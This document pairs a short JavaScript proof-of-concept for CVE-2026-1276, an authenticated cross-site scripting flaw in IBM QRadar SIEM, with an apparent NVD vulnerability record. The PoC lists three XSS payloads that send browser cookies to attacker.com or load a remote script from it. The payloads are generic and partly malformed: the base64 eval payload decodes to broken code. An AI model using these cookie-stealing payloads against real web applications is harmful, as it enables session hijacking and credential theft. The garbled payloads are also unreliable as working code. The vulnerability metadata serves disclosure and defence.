CVE-2026-1276

// CVE-2026-1276 PoC - IBM QRadar SIEM XSS // Author: Security Researcher // Target: IBM QRadar SIEM 7.5.0 - 7.5.0 Update Package 14 // Basic XSS Payload for credential stealing var xss_payload = '<script>var cookies=document.cookie;fetch("https://attacker.com/steal?c="+btoa(cookies));</script>'; // Alternative payload using img tag for out-of-band data exfiltration var img_payload = '<img src=x onerror="this.src=\'https://attacker.com/log?data=\'+btoa(document.cookie)">" />'; // DOM-based XSS payload var dom_payload = '<svg onload="eval(atob(\'cmVxdWlyZShodHRwOi8vYXR0YWNrZXIuY29tL2V4cGxvaXQucGhwKTs=\'))">'; console.log('CVE-2026-1276 XSS Payload Examples:'); console.log('1. Basic Script Injection:', xss_payload); console.log('2. Image Tag Bypass:', img_payload); console.log('3. DOM-based XSS:', dom_payload); console.log('\nNote: Requires authenticated access to QRadar Web UI');

{"cve": {"id": "CVE-2026-1276", "sourceIdentifier": "[email protected]", "published": "2026-03-19T03:16:01.657", "lastModified": "2026-03-24T21:13:48.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM QRadar SIEM 7.5.0 through 7.5.0 Update Package 14 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}, {"lang": "es", "value": "IBM QRadar SIEM 7.5.0 hasta 7.5.0 Paquete de Actualización 14 es vulnerable a cross-site scripting. Esta vulnerabilidad permite a un usuario autenticado incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista y lo que podría llevar a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:-:*:*:*:*:*:*", "matchCriteriaId": "DACA17CC-8B71-4E71-B075-BFFB65AD989C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_1:*:*:*:*:*:*", "matchCriteriaId": "BA60FDE5-8C40-4C7A-97CF-BA2A64BF307D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_10:*:*:*:*:*:*", "matchCriteriaId": "3D6ADD3A-99BC-495F-9835-92D16DF18FC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_11:*:*:*:*:*:*", "matchCriteriaId": "5C899CFD-26F5-43FA-A39E-7196E2929AD9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_12:*:*:*:*:*:*", "matchCriteriaId": "0C534E65-D418-4A5E-B326-F449337C0408"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_13:*:*:*:*:*:*", "matchCriteriaId": "A3F6494F-EC1B-4963-908A-88190E5BF835"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_14:*:*:*:*:*:*", "matchCriteriaId": "CD7E8A56-06DB-45AC-9769-4B198B142CAA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_2:*:*:*:*:*:*", "matchCriteriaId": "AB518E06-00BA-48F3-8AEC-6E1E97CAA2CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_3:*:*:*:*:*:*", "matchCriteriaId": "289027A2-178C-45DE-A86F-1207F23D13B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_4:*:*:*:*:*:*", "matchCriteriaId": "5047AECF-879B-427A-ACF7-ECB10965E1B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_5:*:*:*:*:*:*", "matchCriteriaId": "CD448AB8-E3CC-41A1-9D32-B1B35C68FA5C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_6:*:*:*:*:*:*", "matchCriteriaId": "9F4014E8-42E2-4B76-B2DA-8B50929A4AB5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_7:*:*:*:*:*:*", "matchCriteriaId": "BD0A459A-C74A-4E18-83B3-4C29D47D2C2B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_8:*:*:*:*:*:*", "matchCriteriaId": "721EFDD7-EE35-430C-AF17-C54BDB10434E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:qradar_security_information_and_event_manager:7.5.0:update_pack_9:*:*:*:*:*:*", "matchCriteriaId": "4C3D4D7E-0B57-47E3-BD16-5BBCE05063F5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7266709", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}